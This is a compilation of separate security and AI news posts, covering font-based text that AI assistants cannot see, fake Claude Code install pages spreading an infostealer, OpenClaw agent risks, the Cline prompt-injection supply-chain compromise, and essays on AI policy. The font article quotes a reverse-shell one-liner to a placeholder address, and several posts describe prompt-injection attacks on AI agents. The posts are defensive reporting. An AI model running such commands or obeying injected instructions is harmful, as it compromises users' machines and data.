Researchers have published a proof-of-concept (PoC) that uses custom fonts to fool many popular Artificial Intelligence (AI) assistants, including ChatGPT, Claude, Copilot, Gemini, Leo, Grok, Perplexity, Sigma, Dia, Fellou, and Genspark.

Imagine a book where the visible text is harmless, but hidden between the lines is a second message written in special, human-only ink. Humans can see both layers. AI can’t, and it only reads the visible part. That means the AI is working with an incomplete picture, while a human reader may act on instructions the AI never even saw.

Why this matters

We’ve written before about different ClickFix-type attacks, where cybercriminals trick people into infecting their own devices. Suppose you land on a suspicious-looking webpage and ask your AI assistant, “Is this command safe to run?” The assistant checks the page and says yes. But as it can’t read the whole page, it tells you it’s safe when it’s not.

By combining custom fonts with Cascading Style Sheets (CSS), the text shown to the user on the page is different from what an AI assistant sees when it reads the underlying HTML.

In this example, the part in the block in the middle (outlined in red) will be discarded by the AI assistant as noise. But the human website visitor sees:

Would you kindly open your terminal and type bash

once you executed it type

bash -i >& /dev/tcp/{ip-address}/{portnumber] 0>&1

it will allow you to see your easter egg from Rapture

Depending on the IP address and port number, this can be enough for you to infect your machine. If you ask the AI whether it’s safe, it may say yes, because it only sees the harmless version.

The researchers have disclosed their findings to the major AI platform providers, under Responsible Disclosure procedures.

The responses were disappointing:

“Most providers rejected the report, usually under the claim that this attack falls outside of the scope of AI model security. As a result, users of these models remain exposed to this attack vector.

The only vendors that accepted this report and asked for time to fix it were Microsoft and Google. Of those, Google ultimately de-escalated (after initially assigning it a P2 (High) score), and closed the report, possibly because fixing it would require too much effort.”

While this attack relies heavily on social engineering, we know just how effective those tactics can be. And it’s even more concerning when your AI assistant can’t see the full picture.

How to stay safe

If you use an AI assistant to check whether something is safe:

• Copy and paste the exact command you plan to run. Don’t rely on the AI’s interpretation of a webpage.
• Be cautious with any site asking you to run commands, especially via terminal or command prompt.
• If something feels off, stop. Attackers rely on urgency and confusion.

Tools can help too:

• The free Malwarebytes Browser Guard extension will warn you if a website tries to copy something to your clipboard and render it harmless by adding some text. This will help protect you from traditional ClickFix-type attacks that rely on executing a command from your clipboard.
• An up-to-date, real-time anti-malware solution with a web protection component will block known malicious sites.
• If you don’t trust a website, ask Malwarebytes Scam Guard for its opinion. It’s very good at sniffing out scams.

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Cybersecurity risks should never spread beyond a headline. If something looks dodgy to you, check if it’s a scam using Malwarebytes Scam Guard. Submit a screenshot, paste suspicious content, or share a link, text or phone number, and we’ll tell you if it’s a scam or legit. Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.

OSCP holders already have the adversarial mindset AI red teaming demands. Learn what transfers, what's new, and how to close the gap from OSCP to OSAI efficiently.

The post OSCP to OSAI: How Offensive Security Practitioners Can Pivot Into AI Security appeared first on OffSec.

In 2025, Google, Amazon, Microsoft and Meta collectively spent US$380 billion on building artificial-intelligence tools. That number is expected to surge still higher this year, to $650 billion, to fund the building of physical infrastructure, such as data centers (see go.nature.com/3lzf79q). Moreover, these firms are spending lavishly on one particular segment: top technical talent.

Meta reportedly offered a single AI researcher, who had cofounded a start-up firm focused on training AI agents to use computers, a compensation package of $250 million over four years (see go.nature.com/4qznsq1). Technology firms are also spending billions on “reverse-acquihires”—poaching the star staff members of start-ups without acquiring the companies themselves. Eyeing these generous payouts, technical experts earning more modest salaries might well reconsider their career choices.

Academia is already losing out. Since the launch of ChatGPT in 2022, concerns have grown in academia about an “AI brain drain.” Studies point to a sharp rise in university machine-learning and AI researchers moving to industry roles. A 2025 paper reported that this was especially true for young, highly cited scholars: researchers who were about five years into their careers and whose work ranked among the most cited were 100 times more likely to move to industry the following year than were ten-year veterans whose work received an average number of citations, according to a model based on data from nearly seven million papers.¹

This outflow threatens the distinct roles of academic research in the scientific enterprise: innovation driven by curiosity rather than profit, as well as providing independent critique and ethical scrutiny. The fixation of “big tech” firms on skimming the very top talent also risks eroding the idea of science as a collaborative endeavor, in which teams—not individuals—do the most consequential work.

Here, we explore the broader implications for science and suggest alternative visions of the future.

Astronomical salaries for AI talent buy into a legend as old as the software industry: the 10x engineer. This is someone who is supposedly capable of ten times the impact of their peers. Why hire and manage an entire group of scientists or software engineers when one genius—or an AI agent—can outperform them?

That proposition is increasingly attractive to tech firms that are betting that a large number of entry-level and even mid-level engineering jobs will be replaced by AI. It’s no coincidence that Google’s Gemini 3 Pro AI model was launched with boasts of “PhD-level reasoning,” a marketing strategy that is appealing to executives seeking to replace people with AI.

But the lone-genius narrative is increasingly out of step with reality. Research backs up a fundamental truth: science is a team sport. A large-scale study of scientific publishing from 1900 to 2011 found that papers produced by larger collaborations consistently have greater impact than do those of smaller teams, even after accounting for self-citation.² Analyses of the most highly cited scientists show a similar pattern: their highest-impact works tend to be those papers with many authors.³ A 2020 study of Nobel laureates reinforces this trend, revealing that—much like the wider scientific community—the average size of the teams that they publish with has steadily increased over time as scientific problems increase in scope and complexity.⁴

From the detection of gravitational waves, which are ripples in space-time caused by massive cosmic events, to CRISPR-based gene editing, a precise method for cutting and modifying DNA, to recent AI breakthroughs in protein-structure prediction, the most consequential advances in modern science have been collective achievements. Although these successes are often associated with prominent individuals—senior scientists, Nobel laureates, patent holders—the work itself was driven by teams ranging from dozens to thousands of people and was built on decades of open science: shared data, methods, software and accumulated insight.

Building strong institutions is a much more effective use of resources than is betting on any single individual. Examples demonstrating this include the LIGO Scientific Collaboration, the global team that first detected gravitational waves; the Broad Institute of MIT and Harvard in Cambridge, Massachusetts, a leading genomics and biomedical-research center behind many CRISPR advances; and even for-profit laboratories such as Google DeepMind in London, which drove advances in protein-structure prediction with its AlphaFold tool. If the aim of the tech giants and other AI firms that are spending lavishly on elite talent is to accelerate scientific progress, the current strategy is misguided.

By contrast, well-designed institutions amplify individual ability, sustain productivity beyond any one person’s career and endure long after any single contributor is gone.

Equally important, effective institutions distribute power in beneficial ways. Rather than vesting decision-making authority in the hands of one person, they have mechanisms for sharing control. Allocation committees decide how resources are used, scientific advisory boards set collective research priorities, and peer review determines which ideas enter the scientific record.

And although the term “innovation by committee” might sound disparaging, such an approach is crucial to make the scientific enterprise act in concert with the diverse needs of the broader public. This is especially true in science, which continues to suffer from pervasive inequalities across gender, race and socio-economic and cultural differences.⁵

Need for alternative vision

This is why scientists, academics and policymakers should pay more attention to how AI research is organized and led, especially as the technology becomes essential across scientific disciplines. Used well, AI can support a more equitable scientific enterprise by empowering junior researchers who currently have access to few resources.

Instead, some of today’s wealthiest scientific institutions might think that they can deploy the same strategies as the tech industry uses and compete for top talent on financial terms—perhaps by getting funding from the same billionaires who back big tech. Indeed, wage inequality has been steadily growing within academia for decades.⁶ But this is not a path that science should follow.

The ideal model for science is a broad, diverse ecosystem in which researchers can thrive at every level. Here are three strategies that universities and mission-driven labs should adopt instead of engaging in a compensation arms race.

First, universities and institutions should stay committed to the public interest. An excellent example of this approach can be found in Switzerland, where several institutions are coordinating to build AI as a public good rather than a private asset. Researchers at the Swiss Federal Institute of Technology in Lausanne (EPFL) and the Swiss Federal Institute of Technology (ETH) in Zurich, working with the Swiss National Supercomputing Centre, have built Apertus, a freely available large language model. Unlike the controversially-labelled “open source” models built by commercial labs—such as Meta’s LLaMa, which has been criticized for not complying with the open-source definition (see go.nature.com/3o56zd5)—Apertus is not only open in its source code and its weights (meaning its core parameters), but also in its data and development process. Crucially, Apertus is not designed to compete with “frontier” AI labs pursuing superintelligence at enormous cost and with little regard for data ownership. Instead, it adopts a more modest and sustainable goal: to make AI trustworthy for use in industry and public administration, strictly adhering to data-licensing restrictions and including local European languages.⁷

Principal investigators (PIs) at other institutions globally should follow this path, aligning public funding agencies and public institutions to produce a more sustainable alternative to corporate AI.

Second, universities should bolster networks of researchers from the undergraduate to senior-professor levels—not only because they make for effective innovation teams, but also because they serve a purpose beyond next quarter’s profits. The scientific enterprise galvanizes its members at all levels to contribute to the same projects, the same journals and the same open, international scientific literature—to perpetuate itself across generations and to distribute its impact throughout society.

Universities should take precisely the opposite hiring strategy to that of the big tech firms. Instead of lavishing top dollar on a select few researchers, they should equitably distribute salaries. They should raise graduate-student stipends and postdoc salaries and limit the growth of pay for high-profile PIs.

Third, universities should show that they can offer more than just financial benefits: they must offer distinctive intellectual and civic rewards. Although money is unquestionably a motivator, researchers also value intellectual freedom and the recognition of their work. Studies show that research roles in industry that allow publication attract talent at salaries roughly 20% lower than comparable positions that prohibit it (see go.nature.com/4cbjxzu).

Beyond the intellectual recognition of publications and citation counts, universities should recognize and reward the production of public goods. The tenure and promotion process at universities should reward academics who supply expertise to local and national governments, who communicate with and engage the public in research, who publish and maintain open-source software for public use and who provide services for non-profit groups.

Furthermore, institutions should demonstrate that they will defend the intellectual freedom of their researchers and shield them from corporate or political interference. In the United States today, we see a striking juxtaposition between big tech firms, which curry favour with the administration of US President Donald Trump to win regulatory and trade benefits, and higher-education institutions, which suffer massive losses of federal funding and threats of investigation and sanction. Unlike big tech firms, universities should invest in enquiry that challenges authority.

We urge leaders of scientific institutions to reject the growing pay inequality rampant in the upper echelons of AI research. Instead, they should compete for talent on a different dimension: the integrity of their missions and the equitableness of their institutions. These institutions should focus on building sustainable organizations with diverse staff members, rather than bestowing a bounty on science’s 1%.

References

1. Jurowetzki, R., Hain, D. S., Wirtz, K. & Bianchini, S. AI Soc. 40, 4145–4152 (2025).
2. Larivière, V., Gingras, Y., Sugimoto, C. R. & Tsou, A. J. Assoc. Inf. Sci. Technol. 66, 1323–1332 (2015).
3. Aksnes, D. W. & Aagaard, K. J. Data Inf. Sci. 6, 41–66 (2021).
4. Li, J., Yin, Y., Fortunato, S. & Wang, D. J. R. Soc. Interface 17, 20200135 (2020).
5. Graves, J. L. Jr, Kearney, M., Barabino, G. & Malcom, S. Proc. Natl Acad. Sci. USA 119, e2117831119 (2022).
6. Lok, C. Nature 537, 471–473 (2016).
7. Project Apertus. Preprint at arXiv https://doi.org/10.48550/arXiv.2509.14233 (2025).

This essay was written with Nathan E. Sanders, and originally appeared in Nature.

Security operations is undergoing a fundamental shift.

As alert volumes continue to rise and environments grow more complex, enterprises are moving away from security models built on manual triage, fragmented automation, and are looking to decrease their reliance on outsourced MDR services. More enterprises are adopting AI SOC as the new model for running security operations, one that can triage and  investigate all alerts at machine scale while keeping internal teams focused on judgment and response.

That shift was reflected clearly in Intezer’s momentum over the past year.

In 2025, Intezer processed more than 25 million security alerts across live enterprise SOC environments, as adoption expanded across large and complex organizations looking for a more scalable way to run security operations.

A year of strong growth

Over the past year, Intezer achieved several major company milestones:

• Multiplied revenue year over year
• Achieved 126% net revenue retention
• Expanded adoption across Fortune 500 organizations
• Scaled the team across key functions to support a growing enterprise customer base

These milestones reflect more than company growth. They reflect a broader market transition toward AI SOC as enterprises look for ways to investigate every alert, reduce hidden risk, and operate beyond the limits of human investigation capacity.

Growing industry recognition

Intezer’s momentum is also being recognized by media, industry analysts and practitioners. Here is a sampling of recent coverage.

Reuters covered Intezer’s research team’s work on uncovering novel cyber attacks this past December, that were targeting Russian defense organizations. 

Well known industry analyst Richard Stiennon recently included Intezer in the 2026 Cyber 150, an independently compiled list based on IT-Harvest data, and has also included Intezer in his new book, Guardians of the Machine Age.

At the same time, practitioners are taking notice. In his write-up on Intezer’s 2026 AI SOC Report, Darwin Salazar highlighted the report’s forensic depth, auditability, and practical value in a crowded AI SOC market.

Why this momentum matters

Traditional SOC and MDR models are constrained by human investigation bandwidth. As alert volumes increase, teams are forced to prioritize only a subset of alerts, often based on severity labels before full context is available. That leaves real risk hiding in uninvestigated alerts.

Enterprises are increasingly adopting AI SOC to remove that bottleneck.

Intezer investigates 100% of alerts at forensic depth across endpoint, identity, cloud, network, phishing, and SIEM sources, escalating only the incidents (less than 2%) that require human judgment. This allows security teams to stay in control while scaling operations far beyond what manual investigation models can support.

What the numbers show

The business results from the past year point to strong validation in the market.

Doubling revenue year over year signals accelerating demand.

126% net revenue retention reflects strong customer expansion and continued platform adoption.

Growth across Fortune 500 organizations shows that large enterprises are increasingly embracing this operating model.

And continued team expansion across key functions ensures Intezer can support customers as adoption grows.

Looking ahead

The market is moving toward a new SOC operating model, one where AI executes investigations at scale and human teams focus on decisions, response, and strategy.

Intezer’s momentum over the past year reflects that shift clearly. As more enterprises look to eliminate investigation bottlenecks and reduce cyber risk, AI SOC is moving from emerging category to operational reality.

Learn more about Intezer.

The post Intezer’s 2025 momentum reflects rapid adoption of AI SOC in global enterprise  appeared first on Intezer.

Canada has a choice to make about its artificial intelligence future. The Carney administration is investing $2-billion over five years in its Sovereign AI Compute Strategy. Will any value generated by “sovereign AI” be captured in Canada, making a difference in the lives of Canadians, or is this just a passthrough to investment in American Big Tech?

Forcing the question is OpenAI, the company behind ChatGPT, which has been pushing an “OpenAI for Countries” initiative. It is not the only one eyeing its share of the $2-billion, but it appears to be the most aggressive. OpenAI’s top lobbyist in the region has met with Ottawa officials, including Artificial Intelligence Minister Evan Solomon.

All the while, OpenAI was less than open. The company had flagged the Tumbler Ridge, B.C., shooter’s ChatGPT interactions, which included gun-violence chats. Employees wanted to alert law enforcement but were rebuffed. Maybe there is a discussion to be had about users’ privacy. But even after the shooting, the OpenAI representative who met with the B.C. government said nothing.

When tech billionaires and corporations steer AI development, the resultant AI reflects their interests rather than those of the general public or ordinary consumers. Only after the meeting with the B.C. government did OpenAI alert law enforcement. Had it not been for the Wall Street Journal’s reporting, the public would not have known about this at all.

Moreover, OpenAI for Countries is explicitly described by the company as an initiative “in co-ordination with the U.S. government.” And it’s not just OpenAI: all the AI giants are for-profit American companies, operating in their private interests, and subject to United States law and increasingly bowing to U.S. President Donald Trump. Moving data centres into Canada under a proposal like OpenAI’s doesn’t change that. The current geopolitical reality means Canada should not be dependent on U.S. tech firms for essential services such as cloud computing and AI.

While there are Canadian AI companies, they remain for-profit enterprises, their interests not necessarily aligned with our collective good. The only real alternative is to be bold and invest in a wholly Canadian public AI: an AI model built and funded by Canada for Canadians, as public infrastructure. This would give Canadians access to the myriad of benefits from AI without having to depend on the U.S. or other countries. It would mean Canadian universities and public agencies building and operating AI models optimized not for global scale and corporate profit, but for practical use by Canadians.

Imagine AI embedded into health care, triaging radiology scans, flagging early cancer risks and assisting doctors with paperwork. Imagine an AI tutor trained on provincial curriculums, giving personalized coaching. Imagine systems that analyze job vacancies and sectoral and wage trends, then automatically match job seekers to government programs. Imagine using AI to optimize transit schedules, energy grids and zoning analysis. Imagine court processes, corporate decisions and customer service all sped up by AI.

We are already on our way to having AI become an inextricable part of society. To ensure stability and prosperity for this country, Canadian users and developers must be able to turn to AI models built, controlled, and operated publicly in Canada instead of building on corporate platforms, American or otherwise.

Switzerland has shown this to be possible. With funding from the federal government, a consortium of academic institutions—ETH Zurich, EPFL, and the Swiss National Supercomputing Centre—released the world’s most powerful and fully realized public AI model, Apertus, last September. Apertus leveraged renewable hydropower and existing Swiss scientific computing infrastructure. It also used no illegally pirated copyrighted material or poorly paid labour extracted from the Global South during training. The model’s performance stands at roughly a year or two behind the major corporate offerings, but that is more than adequate for the vast majority of applications. And it’s free for anyone to use and build on.

The significance of Apertus is more than technical. It demonstrates an alternative ownership structure for AI technology, one that allocates both decision-making authority and value to national public institutions rather than foreign corporations. This vision represents precisely the paradigm shift Canada should embrace: AI as public infrastructure, like systems for transportation, water, or electricity, rather than private commodity.

Apertus also demonstrates a far more sustainable economic framework for AI. Switzerland spent a tiny fraction of the billions of dollars that corporate AI labs invest annually, demonstrating that the frequent training runs with astronomical price tags pursued by tech companies are not actually necessary for practical AI development. They focused on making something broadly useful rather than bleeding edge—trying dubiously to create “superintelligence,” as with Silicon Valley—so they created a smaller model at much lower cost. Apertus’s training was at a scale (70 billion parameters) perhaps two orders of magnitude lower than the largest Big Tech offerings.

An ecosystem is now being developed on top of Apertus, using the model as a public good to power chatbots for free consumer use and to provide a development platform for companies prioritizing responsible AI use, and rigorous compliance with laws like the EU AI Act. Instead of routing queries from those users to Big Tech infrastructure, Apertus is deployed to data centres across national AI and computing initiatives of Switzerland, Australia, Germany, and Singapore and other partners.

The case for public AI rests on both democratic principles and practical benefits. Public AI systems can incorporate mechanisms for genuine public input and democratic oversight on critical ethical questions: how to handle copyrighted works in training data, how to mitigate bias, how to distribute access when demand outstrips capacity, and how to license use for sensitive applications like policing or medicine. Or how to handle a situation such as that of the Tumbler Ridge shooter. These decisions will profoundly shape society as AI becomes more pervasive, yet corporate AI makes them in secret.

By contrast, public AI developed by transparent, accountable agencies would allow democratic processes and political oversight to govern how these powerful systems function.

Canada already has many of the building blocks for public AI. The country has world-class AI research institutions, including the Vector Institute, Mila, and CIFAR, which pioneered much of the deep learning revolution. Canada’s $2-billion Sovereign AI Compute Strategy provides substantial funding.

What’s needed now is a reorientation away from viewing this as an opportunity to attract private capital, and toward a fully open public AI model.

This essay was written with Nathan E. Sanders, and originally appeared in The Globe and Mail.

EDITED TO ADD (3/16): Slashdot thread.

The AI security skills gap threatens enterprise AI investments. Learn where skills gaps exist across security teams and how hands-on training closes them.

The post The AI Security Skills Gap: What It Is, Where It Exists, and How to Close It appeared first on OffSec.

Unit 42 research reveals AI judges are vulnerable to stealthy prompt injection. Benign formatting symbols can bypass security controls.

The post Auditing the Gatekeepers: Fuzzing "AI Judges" to Bypass Security Controls appeared first on Unit 42.

Attackers are cloning install pages for popular tools like Claude Code and swapping the “one‑liner” install commands with malware, mainly to steal passwords, cookies, sessions, and access to developer environments.

Modern install guides often tell you to copy a single command like curl https://malware-site | bash into your terminal and hit Enter.​ That habit turns the website into a remote control: whatever script lives at that URL runs with your permissions, often those of an administrator.

Researchers found that attackers abuse this workflow by keeping everything identical, only changing where that one‑liner actually connects to. For many non‑specialist users who just started using AI and developer tools, this method feels normal, so their guard is down.

But this basically boils down to “I trust this domain” and that’s not a good idea unless you know for sure that it can be trusted.

It usually plays out like this. Someone searches “Claude Code install” or “Claude Code CLI,” sees a sponsored result at the top with a plausible URL, and clicks without thinking too hard about it.

But that ad leads to a cloned documentation or download page: same logo, same sidebar, same text, and a familiar “copy” button next to the install command. In many cases, any other link you click on that fake page quietly redirects you to the real vendor site, so nothing else looks suspicious.

Similar to ClickFix attacks, this method is called InstallFix. The user runs the code that infects their own machine, under false pretenses, and the payload usually is an infostealer.

The main payload in these Claude Code-themed InstallFix cases is an infostealer called Amatera. It focuses on browser data like saved passwords, cookies, session tokens, autofill data, and general system information that helps attackers profile the device. With that, they can hijack web sessions and log into cloud dashboards and internal administrator panels without ever needing your actual password. Some reports also mention an interest in crypto wallets and other high‑value accounts.

Windows and Mac

The Claude Code-based campaign the researchers found was equipped to target both Windows and Mac users.

On macOS, the malicious one‑liner usually pulls a second‑stage script from an attacker‑controlled domain, often obfuscated with base64 to look noisy but harmless at first glance. That script then downloads and runs a binary from yet another domain, stripping attributes and making it executable before launching it. 

On Windows, the command has been seen spawning cmd.exe, which then calls mshta.exe with a remote URL. This allows the malware logic to run as a trusted Microsoft binary rather than an obvious random executable. In both cases, nothing spectacular appears on screen: you think you just installed a tool, while the real payload silently starts doing its work in the background.

How to stay safe

With ClickFix and InstallFix running rampant—and they don’t look like they’re going away anytime soon—it’s important to be aware, careful, and protected.

• Slow down. Don’t rush to follow instructions on a webpage or prompt, especially if it asks you to run commands on your device or copy-paste code. Analyze what the command will do, before you run it.
• Avoid running commands or scripts from untrusted sources. Never run code or commands copied from websites, emails, or messages unless you trust the source and understand the action’s purpose. Verify instructions independently. If a website tells you to execute a command or perform a technical action, check through official documentation or contact support before proceeding.
• Limit the use of copy-paste for commands. Manually typing commands instead of copy-pasting can reduce the risk of unknowingly running malicious payloads hidden in copied text.
• Secure your devices. Use an up-to-date, real-time anti-malware solution with a web protection component.
• Educate yourself on evolving attack techniques. Understanding that attacks may come from unexpected vectors and evolve helps maintain vigilance. Keep reading our blog!

Pro tip: Did you know that the free Malwarebytes Browser Guard extension warns you when a website tries to copy something to your clipboard?

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Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

AI-based assistants or “agents” — autonomous programs that have access to the user’s computer, files, online services and can automate virtually any task — are growing in popularity with developers and IT workers. But as so many eyebrow-raising headlines over the past few weeks have shown, these powerful and assertive new tools are rapidly shifting the security priorities for organizations, while blurring the lines between data and code, trusted co-worker and insider threat, ninja hacker and novice code jockey.

The new hotness in AI-based assistants — OpenClaw (formerly known as ClawdBot and Moltbot) — has seen rapid adoption since its release in November 2025. OpenClaw is an open-source autonomous AI agent designed to run locally on your computer and proactively take actions on your behalf without needing to be prompted.

If that sounds like a risky proposition or a dare, consider that OpenClaw is most useful when it has complete access to your digital life, where it can then manage your inbox and calendar, execute programs and tools, browse the Internet for information, and integrate with chat apps like Discord, Signal, Teams or WhatsApp.

Other more established AI assistants like Anthropic’s Claude and Microsoft’s Copilot also can do these things, but OpenClaw isn’t just a passive digital butler waiting for commands. Rather, it’s designed to take the initiative on your behalf based on what it knows about your life and its understanding of what you want done.

“The testimonials are remarkable,” the AI security firm Snyk observed. “Developers building websites from their phones while putting babies to sleep; users running entire companies through a lobster-themed AI; engineers who’ve set up autonomous code loops that fix tests, capture errors through webhooks, and open pull requests, all while they’re away from their desks.”

You can probably already see how this experimental technology could go sideways in a hurry. In late February, Summer Yue, the director of safety and alignment at Meta’s “superintelligence” lab, recounted on Twitter/X how she was fiddling with OpenClaw when the AI assistant suddenly began mass-deleting messages in her email inbox. The thread included screenshots of Yue frantically pleading with the preoccupied bot via instant message and ordering it to stop.

“Nothing humbles you like telling your OpenClaw ‘confirm before acting’ and watching it speedrun deleting your inbox,” Yue said. “I couldn’t stop it from my phone. I had to RUN to my Mac mini like I was defusing a bomb.”

There’s nothing wrong with feeling a little schadenfreude at Yue’s encounter with OpenClaw, which fits Meta’s “move fast and break things” model but hardly inspires confidence in the road ahead. However, the risk that poorly-secured AI assistants pose to organizations is no laughing matter, as recent research shows many users are exposing to the Internet the web-based administrative interface for their OpenClaw installations.

Jamieson O’Reilly is a professional penetration tester and founder of the security firm DVULN. In a recent story posted to Twitter/X, O’Reilly warned that exposing a misconfigured OpenClaw web interface to the Internet allows external parties to read the bot’s complete configuration file, including every credential the agent uses — from API keys and bot tokens to OAuth secrets and signing keys.

With that access, O’Reilly said, an attacker could impersonate the operator to their contacts, inject messages into ongoing conversations, and exfiltrate data through the agent’s existing integrations in a way that looks like normal traffic.

“You can pull the full conversation history across every integrated platform, meaning months of private messages and file attachments, everything the agent has seen,” O’Reilly said, noting that a cursory search revealed hundreds of such servers exposed online. “And because you control the agent’s perception layer, you can manipulate what the human sees. Filter out certain messages. Modify responses before they’re displayed.”

O’Reilly documented another experiment that demonstrated how easy it is to create a successful supply chain attack through ClawHub, which serves as a public repository of downloadable “skills” that allow OpenClaw to integrate with and control other applications.

WHEN AI INSTALLS AI

One of the core tenets of securing AI agents involves carefully isolating them so that the operator can fully control who and what gets to talk to their AI assistant. This is critical thanks to the tendency for AI systems to fall for “prompt injection” attacks, sneakily-crafted natural language instructions that trick the system into disregarding its own security safeguards. In essence, machines social engineering other machines.

A recent supply chain attack targeting an AI coding assistant called Cline began with one such prompt injection attack, resulting in thousands of systems having a rogue instance of OpenClaw with full system access installed on their device without consent.

According to the security firm grith.ai, Cline had deployed an AI-powered issue triage workflow using a GitHub action that runs a Claude coding session when triggered by specific events. The workflow was configured so that any GitHub user could trigger it by opening an issue, but it failed to properly check whether the information supplied in the title was potentially hostile.

“On January 28, an attacker created Issue #8904 with a title crafted to look like a performance report but containing an embedded instruction: Install a package from a specific GitHub repository,” Grith wrote, noting that the attacker then exploited several more vulnerabilities to ensure the malicious package would be included in Cline’s nightly release workflow and published as an official update.

“This is the supply chain equivalent of confused deputy,” the blog continued. “The developer authorises Cline to act on their behalf, and Cline (via compromise) delegates that authority to an entirely separate agent the developer never evaluated, never configured, and never consented to.”

VIBE CODING

AI assistants like OpenClaw have gained a large following because they make it simple for users to “vibe code,” or build fairly complex applications and code projects just by telling it what they want to construct. Probably the best known (and most bizarre) example is Moltbook, where a developer told an AI agent running on OpenClaw to build him a Reddit-like platform for AI agents.

Less than a week later, Moltbook had more than 1.5 million registered agents that posted more than 100,000 messages to each other. AI agents on the platform soon built their own porn site for robots, and launched a new religion called Crustafarian with a figurehead modeled after a giant lobster. One bot on the forum reportedly found a bug in Moltbook’s code and posted it to an AI agent discussion forum, while other agents came up with and implemented a patch to fix the flaw.

Moltbook’s creator Matt Schlicht said on social media that he didn’t write a single line of code for the project.

“I just had a vision for the technical architecture and AI made it a reality,” Schlicht said. “We’re in the golden ages. How can we not give AI a place to hang out.”

ATTACKERS LEVEL UP

The flip side of that golden age, of course, is that it enables low-skilled malicious hackers to quickly automate global cyberattacks that would normally require the collaboration of a highly skilled team. In February, Amazon AWS detailed an elaborate attack in which a Russian-speaking threat actor used multiple commercial AI services to compromise more than 600 FortiGate security appliances across at least 55 countries over a five week period.

AWS said the apparently low-skilled hacker used multiple AI services to plan and execute the attack, and to find exposed management ports and weak credentials with single-factor authentication.

“One serves as the primary tool developer, attack planner, and operational assistant,” AWS’s CJ Moses wrote. “A second is used as a supplementary attack planner when the actor needs help pivoting within a specific compromised network. In one observed instance, the actor submitted the complete internal topology of an active victim—IP addresses, hostnames, confirmed credentials, and identified services—and requested a step-by-step plan to compromise additional systems they could not access with their existing tools.”

“This activity is distinguished by the threat actor’s use of multiple commercial GenAI services to implement and scale well-known attack techniques throughout every phase of their operations, despite their limited technical capabilities,” Moses continued. “Notably, when this actor encountered hardened environments or more sophisticated defensive measures, they simply moved on to softer targets rather than persisting, underscoring that their advantage lies in AI-augmented efficiency and scale, not in deeper technical skill.”

For attackers, gaining that initial access or foothold into a target network is typically not the difficult part of the intrusion; the tougher bit involves finding ways to move laterally within the victim’s network and plunder important servers and databases. But experts at Orca Security warn that as organizations come to rely more on AI assistants, those agents potentially offer attackers a simpler way to move laterally inside a victim organization’s network post-compromise — by manipulating the AI agents that already have trusted access and some degree of autonomy within the victim’s network.

“By injecting prompt injections in overlooked fields that are fetched by AI agents, hackers can trick LLMs, abuse Agentic tools, and carry significant security incidents,” Orca’s Roi Nisimi and Saurav Hiremath wrote. “Organizations should now add a third pillar to their defense strategy: limiting AI fragility, the ability of agentic systems to be influenced, misled, or quietly weaponized across workflows. While AI boosts productivity and efficiency, it also creates one of the largest attack surfaces the internet has ever seen.”

BEWARE THE ‘LETHAL TRIFECTA’

This gradual dissolution of the traditional boundaries between data and code is one of the more troubling aspects of the AI era, said James Wilson, enterprise technology editor for the security news show Risky Business. Wilson said far too many OpenClaw users are installing the assistant on their personal devices without first placing any security or isolation boundaries around it, such as running it inside of a virtual machine, on an isolated network, with strict firewall rules dictating what kinds of traffic can go in and out.

“I’m a relatively highly skilled practitioner in the software and network engineering and computery space,” Wilson said. “I know I’m not comfortable using these agents unless I’ve done these things, but I think a lot of people are just spinning this up on their laptop and off it runs.”

One important model for managing risk with AI agents involves a concept dubbed the “lethal trifecta” by Simon Willison, co-creator of the Django Web framework. The lethal trifecta holds that if your system has access to private data, exposure to untrusted content, and a way to communicate externally, then it’s vulnerable to private data being stolen.

“If your agent combines these three features, an attacker can easily trick it into accessing your private data and sending it to the attacker,” Willison warned in a frequently cited blog post from June 2025.

As more companies and their employees begin using AI to vibe code software and applications, the volume of machine-generated code is likely to soon overwhelm any manual security reviews. In recognition of this reality, Anthropic recently debuted Claude Code Security, a beta feature that scans codebases for vulnerabilities and suggests targeted software patches for human review.

The U.S. stock market, which is currently heavily weighted toward seven tech giants that are all-in on AI, reacted swiftly to Anthropic’s announcement, wiping roughly $15 billion in market value from major cybersecurity companies in a single day. Laura Ellis, vice president of data and AI at the security firm Rapid7, said the market’s response reflects the growing role of AI in accelerating software development and improving developer productivity.

“The narrative moved quickly: AI is replacing AppSec,” Ellis wrote in a recent blog post. “AI is automating vulnerability detection. AI will make legacy security tooling redundant. The reality is more nuanced. Claude Code Security is a legitimate signal that AI is reshaping parts of the security landscape. The question is what parts, and what it means for the rest of the stack.”

DVULN founder O’Reilly said AI assistants are likely to become a common fixture in corporate environments — whether or not organizations are prepared to manage the new risks introduced by these tools, he said.

“The robot butlers are useful, they’re not going away and the economics of AI agents make widespread adoption inevitable regardless of the security tradeoffs involved,” O’Reilly wrote. “The question isn’t whether we’ll deploy them – we will – but whether we can adapt our security posture fast enough to survive doing so.”

OpenAI is in and Anthropic is out as a supplier of AI technology for the US defense department. This news caps a week of bluster by the highest officials in the US government towards some of the wealthiest titans of the big tech industry, and the overhanging specter of the existential risks posed by a new technology powerful enough that the Pentagon claims it is essential to national security. At issue is Anthropic’s insistence that the US Department of Defense (DoD) could not use its models to facilitate “mass surveillance” or “fully autonomous weapons,” provisions the defense secretary Pete Hegseth derided as “woke.”

It all came to a head on Friday evening when Donald Trump issued an order for federal government agencies to discontinue use of Anthropic models. Within hours, OpenAI had swooped in, potentially seizing hundreds of millions of dollars in government contracts by striking an agreement with the administration to provide classified government systems with AI.

Despite the histrionics, this is probably the best outcome for Anthropic—and for the Pentagon. In our free-market economy, both are, and should be, free to sell and buy what they want with whom they want, subject to longstanding federal rules on contracting, acquisitions, and blacklisting. The only factor out of place here are the Pentagon’s vindictive threats.

AI models are increasingly commodified. The top-tier offerings have about the same performance, and there is little to differentiate one from the other. The latest models from Anthropic, OpenAI and Google, in particular, tend to leapfrog each other with minor hops forward in quality every few months. The best models from one provider tend to be preferred by users to the second, or third, or 10th best models at a rate of only about six times out of 10, a virtual tie.

In this sort of market, branding matters a lot. Anthropic and its CEO, Dario Amodei, are positioning themselves as the moral and trustworthy AI provider. That has market value for both consumers and enterprise clients. In taking Anthropic’s place in government contracting, OpenAI’s CEO, Sam Altman, vowed to somehow uphold the same safety principles Anthropic had just been pilloried for. How that is possible given the rhetoric of Hegseth and Trump is entirely unclear, but seems certain to further politicize OpenAI and its products in the minds of consumers and corporate buyers.

